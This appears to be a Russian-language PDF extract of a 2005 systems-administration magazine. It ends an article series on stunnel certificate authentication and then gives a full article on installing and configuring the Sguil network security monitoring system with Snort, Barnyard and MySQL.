Думаю, всем понятно, что в протоколах системы FreeBSD будет написано примерно то же, что хранится в протоколах системы Linux. Особое внимание стоит обратить на сообщения о считывании файлов сертификатов. Теперь нужно попробовать присоединиться к серверу Windows с любой из клиентских машин с помощью программы vncviewer. Все должно пройти как по маслу. А в файлах протоколов соответственно появится что-то вроде: 2005.02.26 21:48:00 LOG7[7492:16384]: vnc accepted FD=11 from 10.10.21.29:51902 2005.02.26 21:48:00 LOG7[7492:16384]: FD 11 in non-blocking mode 2005.02.26 21:48:00 LOG7[8003:32770]: vnc started 2005.02.26 21:48:00 LOG5[8003:32770]: vnc connected from 10.10.21.29:51902 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): before/accept initialization 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 read client hello A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 write server hello A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 write certificate A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 write certificate request A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 flush data 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok 2005.02.26 21:48:00 LOG5[8003:32770]: VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/CN=win2000.unreal.net 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 read client certificate A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 read client key exchange A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 read certificate verify A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 read finished A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 write change cipher spec A 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 write finished A

61


безопасность 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept): SSLv3 flush data 2005.02.26 21:48:00 LOG7[8003:32770]: 2 items in the session cache 2005.02.26 21:48:00 LOG7[8003:32770]: 0 client connects (SSL_connect()) 2005.02.26 21:48:00 LOG7[8003:32770]: 0 client connects that finished 2005.02.26 21:48:00 LOG7[8003:32770]: 0 client renegotiatations requested 2005.02.26 21:48:00 LOG7[8003:32770]: 2 server connects (SSL_accept()) 2005.02.26 21:48:00 LOG7[8003:32770]: 2 server connects that finished 2005.02.26 21:48:00 LOG7[8003:32770]: 0 server renegotiatiations requested 2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache hits 2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache misses 2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache timeouts 2005.02.26 21:48:00 LOG6[8003:32770]: Negotiated ciphers: AES256-SHA SSLv3 Kx=RSA Au=RSA Enc=AES(256) Mac=SHA1 2005.02.26 21:48:00 LOG7[8003:32770]: FD 14 in non-blocking mode 2005.02.26 21:48:00 LOG7[8003:32770]: vnc connecting 127.0.0.1:5800 2005.02.26 21:48:00 LOG7[8003:32770]: remote connect #1: EINPROGRESS: retrying 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=14, DIR=write 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok 2005.02.26 21:48:00 LOG7[8003:32770]: Remote FD=14 initialized 2005.02.26 21:49:09 LOG7[8003:32770]: Socket closed on read 2005.02.26 21:49:09 LOG7[8003:32770]: SSL write shutdown (output buffer empty) 2005.02.26 21:49:09 LOG7[8003:32770]: SSL alert (write): warning: close notify 2005.02.26 21:49:09 LOG7[8003:32770]: SSL_shutdown retrying 2005.02.26 21:49:09 LOG7[8003:32770]: SSL alert (read): warning: close notify 2005.02.26 21:49:09 LOG7[8003:32770]: SSL closed on SSL_read 2005.02.26 21:49:09 LOG7[8003:32770]: Socket write shutdown (output buffer empty) 2005.02.26 21:49:09 LOG5[8003:32770]: Connection closed:229164 bytes sent to SSL, 188234 bytes sent to socket 2005.02.26 21:49:09 LOG7[8003:32770]: vnc finished (0 left)

Особое внимание стоит обратить на строчку со следующими символами: VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/ CN=win2000.unreal.net

Четко видно, как сертификат сервера был опознан клиентом. Соответственно, в протоколах сервера можно увидеть: VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/ CN=freebsd53.unreal.net

Стоит отметить, что в случае, если файл crl.pem не будет содержать сертификатов, stunnel не запустится. Все, что мы получим, – это вот такое сообщение об ошибке: 2005.03.12 10:52:12 LOG3[5934:16384]: Error loading CRLs from /usr/local/etc/stunnel/certs/crl.pem

Поэтому включайте возможность отзыва сертификатов только в том случае, если она действительно необходима. Разобравшись с авторизацией, давайте посмотрим на еще один способ создания сертификатов клиента и сервера. В составе пакета OpenSSL версий выше 0.9.6 поставляется утилита CA.pl, с помощью которой генерирование сертификатов превращается из нелегкого труда по запоминанию длинных команд в забаву. На этот раз мы поступим в соответствии со всеми правилами. Сначала создадим корневой сертификат для unreal.net, а потом с помощью него заверим все клиентские сертификаты. # /var/lib/ssl/misc/CA.pl -newca CA certificate filename (or enter to create) Making CA certificate ... Generating a 1024 bit RSA private key .....++++++ .......................................++++++ writing new private key to './demoCA/private/cakey.pem' Enter PEM pass phrase: Verifying - Enter PEM pass phrase: ----You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. -----

62

Country Name (2 letter code) [AU]:RU State or Province Name (full name) [Some-State]:Rostov region Locality Name (eg, city) []:Rostov-on-Don Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tigrisha home Organizational Unit Name (eg, section) []:Test Lab Common Name (eg, your name or your server's hostname) []:unreal.net Email Address []:tigrisha@unreal.net

В результате этих действий в файле cakey.pem появится секретный ключ, а в cacert.pem наш корневой сертификат. Затем создаем запрос на новый клиентский сертификат для машины altlinux.unreal.net. # /var/lib/ssl/misc/CA.pl -newreq Generating a 1024 bit RSA private key .......................................................................++++++ ........................................++++++ writing new private key to 'newreq.pem' Enter PEM pass phrase: Verifying - Enter PEM pass phrase: ----You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----Country Name (2 letter code) [AU]:RU State or Province Name (full name) [Some-State]:Rostov region Locality Name (eg, city) []:Rostov-on-Don Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tigrisha home Organizational Unit Name (eg, section) []:Test Lab Common Name (eg, your name or your server's hostname) []:altlinux.unreal.net Email Address []:tigrisha@unreal.net

После этого во вновь созданном файле newreq.pem будет находиться секретный ключ клиента и запрос на создание сертификата. Осталось только заверить его с помощью корневого сертификата, сгенерировав таким образом новый клиентский сертификат. # /var/lib/ssl/misc/CA.pl -sign Using configuration from /var/lib/ssl/openssl.cnf Enter pass phrase for ./demoCA/private/cakey.pem: Check that the request matches the signature Signature ok Certificate Details: Serial Number: 1 (0x1) Validity Not Before: Feb 8 18:39:33 2005 GMT Not After : Feb 8 18:39:33 2006 GMT Subject: countryName = RU stateOrProvinceName = Rostov region localityName = Rostov-on-Don organizationName = Tigrisha home organizationalUnitName = Test Lab commonName = altlinux.unreal.net emailAddress = tigrisha@unreal.net X509v3 extensions: X509v3 Basic Constraints: CA:FALSE Netscape Comment: OpenSSL Generated Certificate X509v3 Subject Key Identifier: BF:01:B4:1C:AA:2C:46:8E:0B:B6:9D:70:BA:AA:D3:86:DC:8F:8A:09 X509v3 Authority Key Identifier: keyid:F8:66:F7:4E:F9:3F:7A:C7:83:BC:0C:84:40:AD:2F:3F:FC:5A:9C:AC DirName:/C=RU/ST=Rostov region/L=Rostov-on-Don/O=Tigrisha home/ OU=Test Lab/CN=unreal.net/emailAddress=tigrisha@unreal.net serial:00 Certificate is to be certified until Feb 8 18:39:33 2006 GMT (365 days) Sign the certificate? [y/n]:y 1 out of 1 certificate requests certified, commit? [y/n]y Write out database with 1 new entries Data Base Updated Signed certificate is in newcert.pem


безопасность После всех этих мытарств сертификат клиента находится в файле newcert.pem. Повторяем эти шаги для остальных клиентов. При этом не стоит забывать, что в файлы newcert.pem и newreq.pem перезаписываются при каждом запуске CA.pl c ключами -sign и -newreq, отсюда следует, что после завершения цикла генерации ключа и сертификата лучше переименовывать эти файлы так, чтобы своим именем они отражали принадлежность тому или иному клиенту. К примеру, для клиента altlinux.unreal.net файлы должны называться altlinuxcert.pem и altlinuxkey.pem. Еще одно обстоятельство, о котором стоит помнить, – из файла newreq.pem после заверения сертификата лучше всего удалять запрос на сертификацию. Он начинается строкой -------BEGIN CERTIFICATE REQUEST--------- и заканчивается, соответственно ----END CERTIFICATE REQUEST----Если этого не сделать, то некоторые версии stunnel завершаются с ошибкой при попытке работы с таким файлом. Итак, мы создали все необходимые сертификаты и поместили их в trusted.pem. Конечно, не стоит забывать, что файл trusted.pem должен быть разным для клиентов и сервера. В остальном этот способ полностью совпадает с тем, что мы протестировали выше. Вручную добавлять сертификаты в trusted.pem довольно просто, а вот удалять их потом оттуда в случае, если хочется отказать какому-либо клиенту в доступе, несколько неудобно. В системах с малым количеством клиентов это еще терпимо, а в большом вычислительном комплексе с несколькими сотнями сертификатов это может превратиться в головную боль. Поэтому давайте рассмотрим другой способ управления сертификатами. В этом случае мы будем помещать каждый сертификат в отдельный файл. Затем доверенные сертификаты кладем в директорию trusted, а отозванные – в папку crl. На клиентах и сервере создаем обе папки внутри директории certs. Затем вносим следующие изменения в конфигурационные файлы. Вместо строк CAFile и CRLfile вписываем следующее: Для ALT Linux: CRLpath = /usr/local/etc/stunnel/certs/trusted/ CApath = /usr/local/etc/stunnel/certs/crl/

Для FreeBSD вносим те же изменения, что и для ALT Linux.

№3, март 2005

Для Windows: CRLpath = C:\stunnel\certs\crl\ CApath = C:\stunnel\certs\trusted\

Если опираться в своих действиях на официальную документацию к stunnel, то, сложив все доверенные сертификаты в папку trusted, можно было бы попытаться запустить демонов на сервере и клиентах и радоваться полученному результату. Но не тут то было – запуск пройдет гладко, а вот аутентификация функционировать не будет. По крайней мере, у меня таким способом вообще ничего не заработало. Все дело в том, что для совместимости со специфическими особенностями stunnel имена файлов доверенных сертификатов должны быть в особом формате. А точнее имя файла должно соответствовать хэшу, вычисленному по содержимому сертификата. Чтобы узнать хэш того или иного файла под ALT Linux, нужно выполнить следующую команду: # /var/lib/ssl/misc/c_hash / ↵ /usr/local/etc/stunnel/certs/trusted/*.pem

b71698b3.0 => /usr/local/etc/stunnel/certs/trusted/win2000cert.pem

Таким образом, становится понятно, что файл сертификата win2000cert.pem нужно переименовать в b71698b3.0. После того как вы проведете подобные действия на остальных машинах, можно запускать stunnel. Стоит отметить, что во FreeBSD утилита c_hash будет находиться в директории /usr/local/openssl/misc. Также необходимо обратить внимание на тот факт, что для Windows в стандартной поставке openssl программа c_hash отсутствует. Поэтому хэши ключей нужно будет вычислять на Linux или FreeBSD. Единственное различие будет в том, что в файл протокола при старте записываются следующие сообщения, касающиеся доверенных сертификатов. 2005.03.14 11:19:03 LOG7[7068:16384]: Verify directory set to /usr/local/etc/stunnel/certs/trusted/ 2005.03.14 11:19:03 LOG5[7068:16384]: Peer certificate location /usr/local/etc/stunnel/certs/trusted/

В остальном работа системы будет выглядеть точно так же, как если бы доверенные сертификаты хранились в одном файле. Думаю, на этом можно считать тему аутентификации клиентов stunnel с помощью сертификатов исчерпанной. А значит, подошла к концу и эта серия статей.

63


безопасность

МОНИТОРИНГ СЕТЕВЫХ СОБЫТИЙ ПРИ ПОМОЩИ SGUIL … is built by network security analysts for network security analysts.

СЕРГЕЙ ЯРЕМЧУК Интересно сегодня наблюдать за процессом развития средств сетевой безопасности. Сначала считалось, что для ее обеспечения на достаточном уровне необходимо использовать межсетевой экран, который при правильной настройке позволяет отсеивать проблемный трафик. Затем стало ясно, что межсетевой экран способен обеспечить только минимальный уровень защиты и в 1980 г. с публикации Джона Андерсона (John Anderson) «Computer Security Threat Monitoring and Surveillance» началось развитие систем обнаружения атак, хотя к их активному использованию пришли чуть позже – где-то в первой половине 90-х. Долгое время считалось, что системы обнаружения атак также являются идеальным помощником администратора, но вскоре стали заметны их недостатки. В первую очередь, это очень большое количество ложных предупреждений, так как таким системам недостает контекста, и поэтому они не могут отслеживать связи между событиями. Учитывая, что опытные хакеры очень непредсказуемы в своих действиях, выявить настоящее и хорошо подготовленное вторжение при помощи СОА довольно проблематично, а собранная такой системой информация бывает малополезной при последующем анализе инцидента. Впрочем, надо отметить, это не помешало появлению такого класса программ, как системы остановки атак. Здесь поступили просто, решив, что если атаку можно обнаружить, то почему бы вместо простого оповещения не прекратить ее. Фактически эти системы унаследовали недостатки СОА, но только теперь администратор, вместо того чтобы разбираться в большом количестве предупреждений, возможно, будет выслушивать жалобы от пользователей, которые по неизвестным причинам не могут попасть в сеть. Вот и получается, что стопроцентно принять решение о степени опасности того или иного события может только администратор, самостоятельно проанализировавший ситуацию. А для решения этих задач СОА не совсем подходят, так как они собирают максимальную информацию только о подозрительных пакетах, остальные же данные, как правило, игнорируются и будут потеряны для исследователя. А простая логика подсказывает, что известные уязвимости,

64

имеющиеся в операционных системах, сервисах и протоколах не имеют ничего общего с возможными угрозами. На страницах журнала [5] уже рассказывалось о работе системы обнаружения атак SHADOW – Secondary Heuristic Analysis for Defensive Online Warfare (http://www.nswc.navy.mil/ ISSEC/CID), основное отличие которой от традиционных СОА, вроде Snort, состоит в отказе от наблюдения за конкретными уязвимостями и использовании статистического анализа потоков информации. Другой проект – sguil пробует решить задачу обнаружения атак по-своему.

Проект sguil Методология, на которой построен sguil, называется Network Security Monitoring – NSM. Ее главный акцент сосредоточен на сборе как можно большего количества данных, упрощении доступа к ним и дальнейшего всестороннего анализа. В общем же назначение sguil состоит в интеграции различных инструментов, предназначенных для защиты сети. Для этого она связывает предупреждения СОА с базой данных TCP/IP-сеансов, полным содержимым пакетов и другой полезной информацией. После обнаружения атаки sguil обеспечивает исследователя полными данными, необходимыми для изучения проблемы, позволяя оценить ситуацию и принять правильное решение. При обнаружении события ему может быть присвоена одна из семи категорий (таблица 1). В противном случае оно помечается как не требующее дальнейшего внимания, и такие события больше не выводятся на консоль, но все равно сохраняются в базе данных. Вся записанная информация может быть легко добыта и проанализирована при помощи предварительно подготовленных SQL-запросов. Естественно, при необходимости такие запросы можно составлять и самому, сохраняя их затем для повторного использования. События, имеющие один и тот же IP-адрес, сигнатуру и сообщение, могут быть сопоставлены между собой. Для удобства реализован и импорт отчетов, составленных сканером безопасности Nessus. Система анализа информации, построенная на sguil, со-


безопасность стоит из одного сервера и произвольного числа сетевых датчиков. Датчики собирают информацию и передают ее на сервер, который, в свою очередь, координирует полученные данные, сохраняет их в базе и отдает по требованию клиентам. В качестве датчиков на момент написания статьи использовались: ! Snort (http://www.snort.org), собирающий информацию не только о событиях защиты, но и TCP/IP-сеансах и используемых портах. Отдельный сенсор захватывает все данные, проходящие по сети. ! Barnyard (http://www.sourceforge.net/projects/barnyard) – собирает данные из файлов журнала Snort и заносит их в реальном времени в базу данных. ! SANCP – Security Analyst Network Connection Profiler (http://www.metre.net/files/sancp-1.6.1.tar.gz) – собирает, записывает и анализирует статистическую информацию по TCP/IP-сеансам. Дополнительно могут загружаться и расшифровываться данные от сниффера Ethereal, если он установлен в системе. Для доступа к информации, собранной сервером используются GUI-клиенты, написанные на Tcl/Tk, роль которых не менее важна, чем сервера и датчиков, т.к. именно с их помощью производится основной отбор данных в реальном времени и последующий их анализ. При необходимости могут создаваться отчеты в виде текстового файла или сообщений электронной почты. Òàáëèöà 1. Êàòåãîðèè ñîáûòèé, êîíòðîëèðóåìûå sguil

Естественно, первое, что приходит в голову после знакомства с sguil, это «еще один интерфейс к IDS Snort». Это не совсем так. Главное отличие sguil от других проектов, задачей которых является выдача информации собранной Snort, состоит в выводе данных в реальном времени и возможности проводить необходимые исследования, позволяющие изучить конкретное событие.

№3, март 2005

Установка sguil На момент написания статьи актуальной была версия 0.5.3. Такой номер версии, как обычно в мире Open Source, не означает недоработанность утилиты. Сама установка и настройка при внимательном подходе происходит, как правило, без особых проблем. В качестве операционной системы может быть использована любая из UNIX-систем, но использование мультиплатформенных компонентов позволяет установить sguil на Mac OS X или Windows. На сайте проекта http://sguil.sourceforge.net продукт доступен как через cvs, так и в виде архива с исходными текстами. Его также можно получить на сайте проекта Snort, при этом для удобства установки все части системы, т.е. sensor, server и client на некоторых сайтах могут находиться в разных архивах. Если хорошо поискать, то можно найти и прекомпилированые пакеты. Например, на сайте BOSECO Internet Security Solutions (http://www.boseco.com), кроме rpm-пакетов доступен и базирующийся на Fedora Core дистрибутив IDSLite, имеющий уже подготовленный к работе sguil. В ftpархиве http://www.spenneberg.org/IDS, кроме rpm-пакетов со sguil, имеются и приложения, необходимые для удовлетворения зависимостей. Наиболее общей является установка исходных текстов, поэтому в статье будет показан этот вариант. Итак, для настройки различных компонентов нам понадобятся: ! База данных – сервер MySQL (http://www.mysql.com). ! Сервер Sguild: ! библиотека MySQL client ! Tcl (http://www.tcl.tk) ! Tcltls (http://www.sensus.org/tcl/tls.htm) ! Tcllib (http://tcllib.sourceforge.net) ! TclX (http://tclx.sourceforge.net) ! MySQLTcl (http://www.xdobry.de/mysqltcl) ! P0f (http://lcamtuf.coredump.cx/p0f.shtml) ! Tcpflow (http://www.circlemud.org/~jelson/software/ tcpflow) ! sguil-server ! Датчик sguil: ! библиотека MySQL client ! PCRE (http://www.pcre.org) ! Snort ! Barnyard (http://www.sourceforge.net/projects/barnyard) ! Tcl ! SANCP (http://www.metre.net/sancp.html) ! sguil-sensor

65


безопасность ! Клиент sguil: ! ! ! ! ! ! ! !

Tcl Tcltls Tcllib TclX Incrtcl (//incrtcl.sourceforge.net) Iwidgets (http://www.tcltk.com/iwidgets) Tk sguil-client

Плюс опционально всеми компонентами поддерживается OpenSSL, хотя как вариант можно использовать и stunnel. Перед установкой ознакомьтесь с составом пакетов, входящих в ваш дистрибутив, скорее всего, большая часть из необходимого уже имеется. Все компоненты системы можно установить как на одном компьютере, так и развернуть систему наблюдения за сетью на нескольких машинах.

Инициализируется база данных MySQL: Запускается MySQL:

[ ОК ] [ ОК ]

# mysql -u root mysql mysql> UPDATE user SET Password=PASSWORD('passwd') WHERE user='root'; Query OK, 2 rows affected (0.08 sec) Rows matched: 2 Changed: 2 Warnings: 0 mysql> FLUSH PRIVILEGES; mysql> GRANT ALL PRIVILEGES ON sguildb.* TO sguil@localhost IDENTIFIED BY 'sguilpasswd' WITH GRANT OPTION; Query OK, 0 rows affected (0.00 sec)

Далее нужную для работы базу данных можно создать вручную, в документации подробно описан этот процесс. Но сервер sguild при первом своем запуске при отсутствии необходимой базы данных сам попробует ее создать. После всего команда: # mysql -u root -p -e "show tables"

должна дать следующий вывод. +-------------------+ | Tables_in_sguildb | +-------------------+ | data | | event | | history | | icmphdr | | portscan | | sensor | | sessions | | status | | tcphdr | | udphdr | | user_info | | version | +-------------------+

Установка сервера sguild

Создание базы данных для хранения информации На всех компонентах sguil в целях безопасности рекомендуется использовать отдельного непривилегированного пользователя, поэтому вначале создаем его.

Для удобства лучше поместить все конфигурационные файлы сервера в отдельный каталог, например /etc/sguild. Поэтому создаем его и переносим туда файлы sguild.users, sguild.conf, sguild.queries, sguild.access, autocat.conf, которые находятся в архиве приложения в подкаталоге server. Далее проверяем наличие необходимых компонентов. # tclsh % package require Tclx can't find package Tclx

Устанавливаем Tclx, в результате вывод будет такой. # groupadd sguil # useradd -g sguil -s /bin/false -c "Sguil NSM" sguil

В качестве сервера базы данных на данный момент используется только MySQL, установке которого посвящено много статей, плюс в документации sguil этот процесс описан подробно, поэтому сейчас он рассматриваться не будет. При установке сервера при помощи rpm-пакетов некоторые шаги будут выполнены автоматически, вам останется только проконтролировать результат. Запускаем MySQL, устанавливаем пароль для root, который во многих дистрибутивах оставлен пустым, и даем необходимые привилегии пользователю sguil, от имени которого и будем в дальнейшем работать с базой данных. # /etc/init.d/mysqld start

66

% package require Tclx 8.3 tclsh>exit

Затем необходимо зарегистрировать пользователя, от имени которого мы будем работать с сервером. # ./sguild -adduser sguil ERROR: The mysqltcl extension does NOT appear to be installedon this sysem. Download it at http://www.xdobry.de/mysqltcl/ SGUILD: Exiting...

Не получилось, система сообщает, что не установлен mysqltcl. Исправляемся. # ./sguild -adduser sguil


безопасность ERROR: The sha1 package does NOT appear to be installed on this system. The sha1 package is part of the tcllib extension. A port/package is available for most linux and BSD systems. SGUILD: Exiting...

Опять. На этот раз нет sha1, являющегося частью библиотеки tcllib. # ./sguild -adduser sguil Please enter a passwd for sguil: Retype passwd: User 'sguil' added successfully SGUILD: Exiting...

Теперь все нормально, а в файле /etc/sguild/sguild.users должна появиться следующая запись. # cat /etc/sguild/sguild.users sguil(.)(.)MU47f7efd575à04e2da381e2781b8f95bef4a0083c

По умолчанию файл /etc/sguild/sguild.access позволяет подсоединяться к серверу любому клиенту и датчику. Для безопасности желательно указать конкретные адреса. Например: sensor 192.168.0.20 client 127.0.0.1

Копируем исполняемый файл сервера sguild и библиотеки, после чего запускаем. # ñð /home/source/sguil-0.5.3/server/sguild /usr/bin # ñð -R /home/source/sguil-0.5.3/server/lib /etc/sguil # sguild Loading access list: /etc/sguild/sguild.access Adding sensor to access list: 192.168.0.20 Adding client to access list: 127.0.0.1 : Done Loader Forked Queryd Forked Error: mysqluse/db server: Unknown database 'sguildb' The database sguildb does not exist. Create it ([y]/n)?: Path to create_sguildb.sql [./sql_scripts/create_sguildb.sql]: Creating the DB sguildb...Okay. Creating the structure for sguildb: .......................................... Querying DB for archived events... .......................................... Retrieving DB info... Sguild Initialized.No clients to send info msg to. ====== Sensor Agent Status ======

Все. Сервер работает и ждет подключения сенсоров, а в процессе первого запуска была создана база данных. В rpm-пакетах и в подкаталоге pkgbuild/rpm имеется скрипт sguild.init, который обеспечит запуск sguild при старте системы. Во время работы sguild использует конфигурационный файл sguild.conf, простой и к тому же хорошо комментированный. В нем придется подправить значения некоторых параметров, в первую очередь значение переменной SGUILD_LIB_PATH /etc/sguil/lib, так как по умолчанию она указывает на текущий каталог. Также проверьте путь к утилитам (p0f, tcpflow), параметры работы с базой данных, номера портов, на которых sguil будет ожидать подключения сенсоров и клиентов, каталог для хранения журналов, местонахождение правил snort и пр.

Настройка GUI-клиента sguil.tk Это самая простая часть настройки. Клиент sguil.tk, представляет собой готовый скрипт на tcl/tk и при наличии всех

№3, март 2005

необходимых компонентов он будет работать без проблем. В Windows его можно запустить при помощи библиотеки ActiveState (http://www.activestate.com/Products/ActiveTcl), в документе «Getting SGUIL to work with Windows» подробно описан этот процесс. Во время своей работы скрипт считывает файл sguil.conf, который по умолчанию должен лежать либо в домашнем каталоге пользователя, либо в каталоге, в котором находится скрипт. Иначе требуется указать его местонахождение явно. # ./sguil.tk -- -c /etc/sguil/sguil.conf

Параметры, которые можно задать при помощи этого файла, понятны и где необходимо снабжены комментариями. Некоторые из них можно изменить и после запуска. Среди них имя сервера и порт, включение поддержки OpenSSL, путь к программам, вывод времени, цвет, используемый при отображении тех или иных событий, почтовый адрес и сообщение, которое будет отослано при обнаружении критических происшествий. Для тестирования можно подключиться к серверу demo.sguil.net порт 7734, введя любого пользователя и пароль, и выбрав датчик «reset».

Установка датчика Это самая сложная часть настроек, требующая внимательности, так как скрипты выводят мало отладочной информации и ошибку отследить довольно тяжело. Для удобства все сенсоры, работающие на одном компьютере, используют свой персональный каталог, в который они будут записывать информацию – $LOG_DIR/$SENSOR_NAME. Разработчики рекомендуют создать для этих целей на жестком диске отдельный раздел, смонтировать его в каталог /nsm и создать в нем подкаталоги, в которые будет записываться информация, поступающая от датчиков. Такой подход позволит избежать переполнения основного раздела в случае, если информации будет много. Я для этих целей использую каталог /var/snort_data. В подкаталоге sensor/ snort_mods находятся два патча для препроцессоров Snort. Для работы sguil они не обязательны, но увеличивают количество собранной информации и упрощают ее запись в базу данных. Для работы потребуются исходники Snort. На момент написания статьи в архиве sguil были патчи для snort 2.1, я использовал последний «слепок» (CVS snapshot), проблем с установкой и использованием не было. Но если у вас что-то пойдет не так, возьмите соответствующую версию snort и соберите датчик с ней. Далее заходим в подкаталог src/preprocessors и устанавливаем патчи. # # # #

cd src/preprocessors cp spp_portscan.c spp_portscan.c.bak cp spp_stream4.c spp_stream4.c.bak cp <sguil-src>/sensors/snort_mods/2_1/ ↵ spp_portscan_sguil.patch # cp <sguil-src>/sensors/snort_mods/2_1/spp_stream4.patch # patch spp_portscan.c < spp_portscan_sguil.patch # patch spp_stream4.c < spp_stream4_sguil.patch

После чего устанавливаем Snort как обычно (см. статью Павла Заклякова [6]), не включая во время конфигурирования поддержку mysql, о взаимодействии с которой теперь позаботится barnyard. Теперь в файле snort.conf описываем параметры работы обновленных препроцессоров.

67


безопасность Формат записи для portscan: preprocessor portscan: $HOME_NET <ports> <secs> ↵ <logdir> <sensorname>

В нашем случае он будет таким: preprocessor portscan: $HOME_NET 4 3 ↵ /var/snort_data/gateway/portscans syn

Запись для stream4: preprocessor stream4: detect_scans, disable_evasion_alerts, ↵ keepstats db /var/snort_data/ gateway/ssn_logs

И в разделе «Snort unified binary format alerting and logging» раскомментируем следующую строку: output log_unified: filename snort.log, limit 128

Для нормальной работы сенсоров необходимо, чтобы каталоги /var/snort_data/ gateway/portscans и /var/snort_data/ gateway/ssn_logs существовали и права доступа позволяли пользователю sguil записать в них информацию. Иначе будет получено такое сообщение: ERROR: spp_portscan: /var/snort_data/gateway/portscans is not a directory or is not writable Fatal Error, Quitting..

# sguil #---# This output plug-in is used to generate output for use # with the SGUIL user interface. To learn more about # SGUIL, go to http://sguil.sourceforge.net # output sguil: mysql, sensor_id 0, database sguildb, ↵ server syn, user sguil,password sguilpasswd, ↵ sguild_host syn, sguild_port 7736

Перед запуском их необходимо создать вручную.

Теперь запускаем.

# # # #

# /usr/sbin/barnyard -c /etc/snort/barnyard.conf ↵ -d /var/snort_data/ -g /etc/snort/gen-msg.map ↵ -s /etc/snort/sid-msg.map -f snort.log ↵ -w /etc/snort/waldo.file

mkdir /var/snort_data/gateway/portscans mkdir /var/snort_data/gateway/ssn_logs chown -R sguil /var/snort_data chgrp -R sguil /var/snort_data

Запускаем Snort: #

snort -u sguil -g sguil -l /var/snort_data/ ↵ -c /etc/snort/snort.conf -U -A none -m 501 -i eth0

Running in IDS mode Log directory = /var/snort_data/

--== Initializing Snort ==-Initializing Output Plugins! Decoding Ethernet on interface eth0 Initializing Preprocessors! Initializing Plug-ins! Parsing Rules file /etc/snort/snort.conf

# ./sensor_agent.tcl

И так далее, заодно наблюдаем, как запускаются сконфигурированые нами препроцессоры. Но это еще не все. Для захвата двоичных данных используется скрипт log_packets.sh, который можно найти в подкаталоге sensor архива sguil. Необходимо обеспечить его запуск/перезапуск при помощи cron. # cp <sguil-src>/sensor/log_packets.sh

Barnyard Version 0.2.0 (Build 32) Opened spool file '/var/snort_data/gateway /snort.log.1109764386' Closing spool file '/var/snort_data/gateway /snort.log.1109764386'. Read 0 records Opened spool file '/var/snort_data/gateway /snort.log.1109794324' Waiting for new data

Правим конфигурационный файл sensor_agent.conf и запускаем сам скрипт sensor_agent.tcl, лежащий в подкаталоге sensor, который обеспечивает передачу данных на сервер.

Initializing Network Interface eth0

Connected to 192.168.0.20 Checking for PS files in /var/snort_data/gateway/portscans. Checking for Session files in /var/snort_data/gateway/ssn_logs. Checking for sancp stats files in /var/snort_data/gateway/sancp. Sending sguild (sock3) DiskReport /var/snort_data/gateway 15% Sending sguild (sock3) PING Sensor Data Rcvd: PONG PONG recieved

Теперь, запустив на сервере демон sguild, мы должны наблюдать подключение нового сенсора.

/usr/bin/

И в файл, используемый crontab, внести следующие строки для перезапуска каждый час. 00 0-23/1 * * * /usr/bin/log_packets.sh restart

Кроме того, необходимо обязательно заглянуть внутрь файла и подправить значения переменных HOSTNAME,

68

SNORT_PATH, LOG_DIR, GREP, PS, PIDFILE, INTERFACE, выставив их в соответствии с вашей системой. При помощи MAX_DISK_USE можно указать процент заполнения диска данными по достижении которого начнется удаление старой информации, а переменная FILTER позволяет более точно указать скрипту на то, какие данные интересуют исследователя, так как сценарий по умолчанию забирает всю информацию. И наконец, установка Barnyard. Чтобы не накладывать патчи, необходимые для работы со sguil (они имеются в архиве), рекомендуется использовать версию 0.2.0. Конфигурирование производится с параметрами ./configure --enablemysql, после чего Barnyard компилируется и устанавливается обычным образом. Далее правим конфигурационный файл barnyard.conf, раскомментируем строку в конце файла и указываем в ней на параметры подключения к базе данных и место сбора информации сенсорами.

====== Sensor Agent Status ====== No clients to send info msg to. ====== Sensor Agent Status ====== Connect from 192.168.0.20:32797 sock14 Validating sensor access: 192.168.0.20 : ALLOWED Sensor Data Rcvd: CONNECT gateway No clients to send info msg to. Sensor Data Rcvd: DiskReport /var/snort_data/gateway 15% No clients to send info msg to. Sensor Data Rcvd: PING


